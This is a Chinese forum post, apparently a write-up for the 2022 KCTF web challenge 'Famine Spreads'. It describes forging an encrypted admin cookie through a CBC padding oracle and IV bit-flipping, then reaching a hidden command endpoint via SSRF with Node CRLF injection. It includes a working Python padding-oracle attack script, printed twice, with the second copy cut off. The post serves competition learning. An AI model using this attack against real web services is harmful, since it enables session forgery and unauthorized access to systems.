首页
社区
课程
招聘
[原创] 2022 KCTF 第五题 灾荒蔓延 98k Writeup
发表于: 2022-11-25 16:03 9283

[原创] 2022 KCTF 第五题 灾荒蔓延 98k Writeup

2022-11-25 16:03
9283

访问主页会给一个 isadmin 的 cookie, 带上此 cookie 直接访问 /admin, 发现提示不是 admin.
对 cookie 最后一位修改后提示 decrypt error, 再结合 unhexlify 后长度 32, 可以猜出是分块加密.
然后修改第一位, 提示 json parse error, 那么可以得知大概率是 CBC 模式 + PKCS7 Padding.

通过 padding oracle 可以解出是 {"admin":"0"}\x03\x03\x03, 那么直接构造 iv 使得 CBC 解密出来 admin 为 1 即可.
使用构造的 cookie 访问 /admin, 提示 post cmd 到 /C00mmmmanD. 但是此时即使带上 isadmin cookie 访问 /C00mmmmanD 却还提示不是 admin, 那么大概率要结合一开始的 /search 的接口来 SSRF.
但是 search 只能发送 GET 请求, 由 Http banner 可以得知服务器是 express, 搜索 node 的 CRLF, 可以搜到 539K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8Y4c8Q4x3V1j5J5z5o6V1@1
直接用同样的方法测试可以利用, 那么直接构造请求 POST /C00mmmmanD 即可.

import binascii
 
import requests
 
# 30cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0N6$3W2W2L8r3N6G2M7%4A6W2N6%4y4C8K9g2)9J5c8Y4m8&6N6r3S2G2L8W2)9J5k6s2m8S2k6r3c8A6L8X3N6G2M7X3q4U0L8r3f1`.
from paddingoracle import PaddingOracle, BadPaddingException
 
 
class PadBuster(PaddingOracle):
    def __init__(self, session: requests.Session, wait: float = 0.1, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = session
        self.wait = wait
 
    def oracle(self, data, **kwargs):
        token = binascii.hexlify(data).decode()
 
        resp = None
        while True:
            try:
                resp = self.session.get('923K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5#2x3q4)9J5k6e0p5#2z5q4)9J5k6e0p5^5i4K6u0W2x3e0x3%4i4K6y4m8y4e0x3J5z5g2)9J5c8X3q4V1L8h3W2F1i4K6t1%4, cookies={
                    'isadmin': token
                })
                break
            except requests.HTTPError:
                # time.sleep(self.wait)
                continue
 
        self.history.append(resp)
 
        if 'Decrypt error' not in resp.text:
            return
        else:
            raise BadPaddingException
 
 
sess = requests.session()
pad_buster = PadBuster(sess)
 
ct = binascii.unhexlify('b60bdcada90e7c628b68d0ed965363858dc1695757156638e9b86ac59c99e7c2')
print(len(ct))
print(ct)
 
# admin_token = pad_buster.decrypt(ct[16:], block_size=16, iv=ct[:16])
# print(admin_token)
# b'{"admin":"0"}\x03\x03\x03'
 
iv = bytearray(ct[:16])
iv[10] = iv[10] ^ ord('0') ^ ord('1')
 
print(binascii.hexlify(bytes(iv) + ct[16:]))
import binascii
 
import requests
 
# 30cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0N6$3W2W2L8r3N6G2M7%4A6W2N6%4y4C8K9g2)9J5c8Y4m8&6N6r3S2G2L8W2)9J5k6s2m8S2k6r3c8A6L8X3N6G2M7X3q4U0L8r3f1`.
from paddingoracle import PaddingOracle, BadPaddingException
 
 
class PadBuster(PaddingOracle):
    def __init__(self, session: requests.Session, wait: float = 0.1, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = session
        self.wait = wait
 
    def oracle(self, data, **kwargs):
        token = binascii.hexlify(data).decode()
 
        resp = None
        while True:
            try:
                resp = self.session.get('923K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5#2x3q4)9J5k6e0p5#2z5q4)9J5k6e0p5^5i4K6u0W2x3e0x3%4i4K6y4m8y4e0x3J5z5g2)9J5c8X3q4V1L8h3W2F1i4K6t1%4, cookies={
                    'isadmin': token
                })
                break
            except requests.HTTPError:
                # time.sleep(self.wait)
                continue
 
        self.history.append(resp)
 
        if 'Decrypt error' not in resp.text:
            return
        else:
            raise BadPaddingException
 
 
sess = requests.session()
pad_buster = PadBuster(sess)
 
ct = binascii.unhexlify('b60bdcada90e7c628b68d0ed965363858dc1695757156638e9b86ac59c99e7c2')
print(len(ct))

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 5583
活跃值: (3573)
能力值: ( LV12,RANK:417 )
在线值:
发帖
回帖
粉丝
2
2022-11-28 21:10
0
游客
登录 | 注册 方可回帖
返回